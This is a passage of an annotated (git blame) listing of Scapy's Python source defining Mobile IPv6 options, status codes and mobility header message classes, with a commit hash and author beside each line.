2727c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        i = int(x >> 32)
2728c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        j = float(x & 0xffffffff) * 2.0**-32
2729c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        res = i + j + delta
2730c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        from time import strftime
2731c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        t = time.strftime("%a, %d %b %Y %H:%M:%S +0000", time.gmtime(res))
2732c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2733c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return "%s (%d)" % (t, x)
2734c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2735c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass MIP6OptReplayProtection(_MIP6OptAlign, Packet): # RFC 4285 (Sect. 6)
2736c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "MIPv6 option - Replay Protection"
2737c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("otype", 10, _mobopttypes),
2738c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("olen", 8),
2739c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    NTPTimestampField("timestamp", 0) ]
2740c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    x = 8 ; y = 2 # alignment requirement: 8n+2
2741c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2742c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass MIP6OptCGAParamsReq(_MIP6OptAlign, Packet): # RFC 4866 (Sect. 5.6)
2743c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "MIPv6 option - CGA Parameters Request"
2744c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("otype", 11, _mobopttypes),
2745c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("olen", 0) ]
2746c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    x = 0 ; y = 0 # alignment requirement: none
2747c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2748c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# XXX TODO: deal with CGA param fragmentation and build of defragmented
27490d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# XXX       version. Passing of a big CGAParam structure should be
2750c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# XXX       simplified. Make it hold packets, by the way  --arno
2751c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass MIP6OptCGAParams(_MIP6OptAlign, Packet): # RFC 4866 (Sect. 5.1)
2752c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "MIPv6 option - CGA Parameters"
2753c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("otype", 12, _mobopttypes),
2754c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    FieldLenField("olen", None, length_of="cgaparams", fmt="B"),
2755c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    StrLenField("cgaparams", "",
2756c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                length_from = lambda pkt: pkt.olen) ]
2757c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    x = 0 ; y = 0 # alignment requirement: none
2758c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2759c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass MIP6OptSignature(_MIP6OptAlign, Packet): # RFC 4866 (Sect. 5.2)
2760c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "MIPv6 option - Signature"
2761c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("otype", 13, _mobopttypes),
2762c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    FieldLenField("olen", None, length_of="sig", fmt="B"),
2763c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    StrLenField("sig", "",
2764c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                length_from = lambda pkt: pkt.olen) ]
2765c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    x = 0 ; y = 0 # alignment requirement: none
2766c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2767c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass MIP6OptHomeKeygenToken(_MIP6OptAlign, Packet): # RFC 4866 (Sect. 5.3)
2768c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "MIPv6 option - Home Keygen Token"
2769c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("otype", 14, _mobopttypes),
2770c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    FieldLenField("olen", None, length_of="hkt", fmt="B"),
2771c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    StrLenField("hkt", "",
2772c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                length_from = lambda pkt: pkt.olen) ]
2773c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    x = 0 ; y = 0 # alignment requirement: none
2774c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2775c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass MIP6OptCareOfTestInit(_MIP6OptAlign, Packet): # RFC 4866 (Sect. 5.4)
2776c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "MIPv6 option - Care-of Test Init"
2777c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("otype", 15, _mobopttypes),
2778c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("olen", 0) ]
2779c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    x = 0 ; y = 0 # alignment requirement: none
2780c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2781c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass MIP6OptCareOfTest(_MIP6OptAlign, Packet): # RFC 4866 (Sect. 5.5)
2782c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "MIPv6 option - Care-of Test"
2783c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("otype", 16, _mobopttypes),
2784c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    FieldLenField("olen", None, length_of="cokt", fmt="B"),
27852a7ad0d13aaaa2a5358f82c67877856863a30d61gpotter                    StrLenField("cokt", b'\x00'*8,
2786c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                length_from = lambda pkt: pkt.olen) ]
2787c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    x = 0 ; y = 0 # alignment requirement: none
2788c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2789c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass MIP6OptUnknown(_MIP6OptAlign, Packet):
2790c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = 'Scapy6 - Unknown Mobility Option'
2791c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("otype", 6, _mobopttypes),
2792c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    FieldLenField("olen", None, length_of="odata", fmt="B"),
2793c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    StrLenField("odata", "",
2794c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                length_from = lambda pkt: pkt.olen) ]
2795c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    x = 0 ; y = 0 # alignment requirement: none
2796c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2797c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilmoboptcls = {  0: Pad1,
2798c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               1: PadN,
2799c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               2: MIP6OptBRAdvice,
2800c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               3: MIP6OptAltCoA,
2801c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               4: MIP6OptNonceIndices,
2802c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               5: MIP6OptBindingAuthData,
2803c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               6: MIP6OptMobNetPrefix,
2804c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               7: MIP6OptLLAddr,
28050d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz               8: MIP6OptMNID,
2806c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               9: MIP6OptMsgAuth,
2807c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil              10: MIP6OptReplayProtection,
2808c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil              11: MIP6OptCGAParamsReq,
2809c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil              12: MIP6OptCGAParams,
2810c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil              13: MIP6OptSignature,
2811c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil              14: MIP6OptHomeKeygenToken,
2812c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil              15: MIP6OptCareOfTestInit,
2813c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil              16: MIP6OptCareOfTest }
2814c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2815c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2816c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# Main Mobile IPv6 Classes
2817c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2818c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilmhtypes = {  0: 'BRR',
2819c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             1: 'HoTI',
2820c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             2: 'CoTI',
2821c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             3: 'HoT',
2822c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             4: 'CoT',
2823c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             5: 'BU',
2824c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             6: 'BA',
2825c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             7: 'BE',
2826c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             8: 'Fast BU',
2827c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             9: 'Fast BA',
2828c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            10: 'Fast NA' }
2829c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
28300d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# From http://www.iana.org/assignments/mobility-parameters
2831c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilbastatus = {   0: 'Binding Update accepted',
2832c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               1: 'Accepted but prefix discovery necessary',
2833c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             128: 'Reason unspecified',
2834c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             129: 'Administratively prohibited',
2835c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             130: 'Insufficient resources',
2836c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             131: 'Home registration not supported',
2837c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             132: 'Not home subnet',
2838c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             133: 'Not home agent for this mobile node',
2839c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             134: 'Duplicate Address Detection failed',
2840c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             135: 'Sequence number out of window',
2841c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             136: 'Expired home nonce index',
2842c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             137: 'Expired care-of nonce index',
2843c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             138: 'Expired nonces',
2844c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             139: 'Registration type change disallowed',
2845c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             140: 'Mobile Router Operation not permitted',
2846c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             141: 'Invalid Prefix',
2847c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             142: 'Not Authorized for Prefix',
2848c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             143: 'Forwarding Setup failed (prefixes missing)',
2849c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             144: 'MIPV6-ID-MISMATCH',
2850c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             145: 'MIPV6-MESG-ID-REQD',
2851c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             146: 'MIPV6-AUTH-FAIL',
2852c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             147: 'Permanent home keygen token unavailable',
2853c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             148: 'CGA and signature verification failed',
2854c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             149: 'Permanent home keygen token exists',
2855c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             150: 'Non-null home nonce index expected' }
2856c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2857c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2858c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass _MobilityHeader(Packet):
2859c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = 'Dummy IPv6 Mobility Header'
2860c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    overload_fields = { IPv6: { "nh": 135 }}
2861c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2862c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def post_build(self, p, pay):
2863c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        p += pay
2864c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        l = self.len
2865c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if self.len is None:
286663ae11708b02df74dd3e8d2385d2829f3d622d66gpotter            l = (len(p)-8)//8
2867b612d8d9f626eeae3bc7eb2a10c139c4d79f381dgpotter        p = chb(p[0]) + struct.pack("B", l) + chb(p[2:])
2868c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if self.cksum is None:
2869c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            cksum = in6_chksum(135, self.underlayer, p)
2870c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        else:
2871c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            cksum = self.cksum
28725e8857410015a93f6371459b2f870432ded39b9fgpotter        p = chb(p[:4])+struct.pack("!H", cksum)+chb(p[6:])
2873c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return p
2874c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2875c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2876c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass MIP6MH_Generic(_MobilityHeader): # Mainly for decoding of unknown msg
2877c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "IPv6 Mobility Header - Generic Message"
2878c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("nh", 59, ipv6nh),
2879c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("len", None),
2880c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteEnumField("mhtype", None, mhtypes),
2881c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("res", None),
2882c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("cksum", None),
28832a7ad0d13aaaa2a5358f82c67877856863a30d61gpotter                    StrLenField("msg", b"\x00"*2,
2884c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                length_from = lambda pkt: 8*pkt.len-6) ]
2885c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2886c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
28870d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
2888c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# TODO: make a generic _OptionsField
2889c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass _MobilityOptionsField(PacketListField):
2890b62dbe4f266acaa96e0a2ebc2152c8d5f48bdc1dPierre LALET    __slots__ = ["curpos"]
2891c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def __init__(self, name, default, cls, curpos, count_from=None, length_from=None):
2892c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        self.curpos = curpos
2893c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        PacketListField.__init__(self, name, default, cls, count_from=count_from, length_from=length_from)
28940d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
2895c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def getfield(self, pkt, s):
2896c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        l = self.length_from(pkt)
2897c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return s[l:],self.m2i(pkt, s[:l])
2898c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2899c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def i2len(self, pkt, i):
2900c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return len(self.i2m(pkt, i))
2901c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2902c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def m2i(self, pkt, x):
2903c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        opt = []
2904c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        while x:
2905b612d8d9f626eeae3bc7eb2a10c139c4d79f381dgpotter            o = orb(x[0]) # Option type
2906c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            cls = self.cls
2907d51edef8530fe1e944f13eb65ef863c2d7f04b1dgpotter            if o in moboptcls:
2908c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                cls = moboptcls[o]
2909c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            try:
2910c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                op = cls(x)
2911c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            except:
2912c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                op = self.cls(x)
2913c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            opt.append(op)
29147b3e970663abd72697e17b70aba9943ae0dad404Phil            if isinstance(op.payload, conf.raw_layer):
2915c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                x = op.payload.load
2916c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                del(op.payload)
2917c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            else:
29185e8857410015a93f6371459b2f870432ded39b9fgpotter                x = b""
2919c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return opt
2920c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2921c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def i2m(self, pkt, x):
2922c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        autopad = None
2923c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        try:
2924c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            autopad = getattr(pkt, "autopad") # Hack : 'autopad' phantom field
2925c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        except:
2926c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            autopad = 1
29270d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
2928c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if not autopad:
29291186356a1d73fd59b700d8af05e789d0e8899de6gpotter            return b"".join(map(str, x))
2930c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2931c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        curpos = self.curpos
29321186356a1d73fd59b700d8af05e789d0e8899de6gpotter        s = b""
2933c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        for p in x:
2934c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            d = p.alignment_delta(curpos)
2935c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            curpos += d
2936c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            if d == 1:
29375e8857410015a93f6371459b2f870432ded39b9fgpotter                s += raw(Pad1())
2938c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            elif d != 0:
29395e8857410015a93f6371459b2f870432ded39b9fgpotter                s += raw(PadN(optdata=b'\x00'*(d-2)))
29405e8857410015a93f6371459b2f870432ded39b9fgpotter            pstr = raw(p)
2941c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            curpos += len(pstr)
2942c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            s += pstr
29430d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
2944c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        # Let's make the class including our option field
2945c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        # a multiple of 8 octets long
2946c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        d = curpos % 8
2947c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if d == 0:
2948c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return s
2949c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        d = 8 - d
2950c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if d == 1:
29515e8857410015a93f6371459b2f870432ded39b9fgpotter            s += raw(Pad1())
2952c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        elif d != 0:
29535e8857410015a93f6371459b2f870432ded39b9fgpotter            s += raw(PadN(optdata=b'\x00'*(d-2)))
2954c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2955c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return s
2956c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2957c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def addfield(self, pkt, s, val):
2958c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return s+self.i2m(pkt, val)
2959c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2960c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass MIP6MH_BRR(_MobilityHeader):
2961c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "IPv6 Mobility Header - Binding Refresh Request"
2962c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("nh", 59, ipv6nh),
2963c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("len", None),
29640d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                    ByteEnumField("mhtype", 0, mhtypes),
2965c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("res", None),
2966c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("cksum", None),
29670d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                    ShortField("res2", None),
2968c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    _PhantomAutoPadField("autopad", 1), # autopad activated by default
2969c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    _MobilityOptionsField("options", [], MIP6OptUnknown, 8,
2970c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                          length_from = lambda pkt: 8*pkt.len) ]
2971c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    overload_fields = { IPv6: { "nh": 135 } }
29720d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    def hashret(self):
2973c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        # Hack: BRR, BU and BA have the same hashret that returns the same
29742a7ad0d13aaaa2a5358f82c67877856863a30d61gpotter        #       value b"\x00\x08\x09" (concatenation of mhtypes). This is
2975c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        #       because we need match BA with BU and BU with BRR. --arno
29762a7ad0d13aaaa2a5358f82c67877856863a30d61gpotter        return b"\x00\x08\x09"
2977c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2978c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass MIP6MH_HoTI(_MobilityHeader):
2979c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "IPv6 Mobility Header - Home Test Init"
2980c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("nh", 59, ipv6nh),
2981c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("len", None),
29820d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                    ByteEnumField("mhtype", 1, mhtypes),
2983c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("res", None),
29840d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                    XShortField("cksum", None),
29852a7ad0d13aaaa2a5358f82c67877856863a30d61gpotter                    StrFixedLenField("reserved", b"\x00"*2, 2),
29862a7ad0d13aaaa2a5358f82c67877856863a30d61gpotter                    StrFixedLenField("cookie", b"\x00"*8, 8),
2987c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    _PhantomAutoPadField("autopad", 1), # autopad activated by default
2988c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    _MobilityOptionsField("options", [], MIP6OptUnknown, 16,
2989c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                          length_from = lambda pkt: 8*(pkt.len-1)) ]
2990c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    overload_fields = { IPv6: { "nh": 135 } }
2991c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def hashret(self):
2992d07dcda7f6659a1c97e9dc82a97c628f5a88c9f7gpotter        return raw(self.cookie)
2993c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2994c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass MIP6MH_CoTI(MIP6MH_HoTI):
2995c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "IPv6 Mobility Header - Care-of Test Init"
2996c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    mhtype = 2
2997c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def hashret(self):
29982bc05da394cc74cc295ac5bba8642f7552bdeb89gpotter        return raw(self.cookie)
2999c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3000c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass MIP6MH_HoT(_MobilityHeader):
3001c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "IPv6 Mobility Header - Home Test"
3002c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("nh", 59, ipv6nh),
3003c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("len", None),
30040d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                    ByteEnumField("mhtype", 3, mhtypes),
3005c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("res", None),
30060d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                    XShortField("cksum", None),
3007c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ShortField("index", None),
30082a7ad0d13aaaa2a5358f82c67877856863a30d61gpotter                    StrFixedLenField("cookie", b"\x00"*8, 8),
30092a7ad0d13aaaa2a5358f82c67877856863a30d61gpotter                    StrFixedLenField("token", b"\x00"*8, 8),
3010c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    _PhantomAutoPadField("autopad", 1), # autopad activated by default
3011c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    _MobilityOptionsField("options", [], MIP6OptUnknown, 24,
3012c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                          length_from = lambda pkt: 8*(pkt.len-2)) ]
3013c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    overload_fields = { IPv6: { "nh": 135 } }
3014c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def hashret(self):
30152bc05da394cc74cc295ac5bba8642f7552bdeb89gpotter        return raw(self.cookie)
30162725e5a6ba524e991829570db2c6711384124ab6Pierre LALET    def answers(self, other):
3017c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if (isinstance(other, MIP6MH_HoTI) and
3018c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            self.cookie == other.cookie):
3019c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return 1
3020c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return 0
3021c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3022c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass MIP6MH_CoT(MIP6MH_HoT):
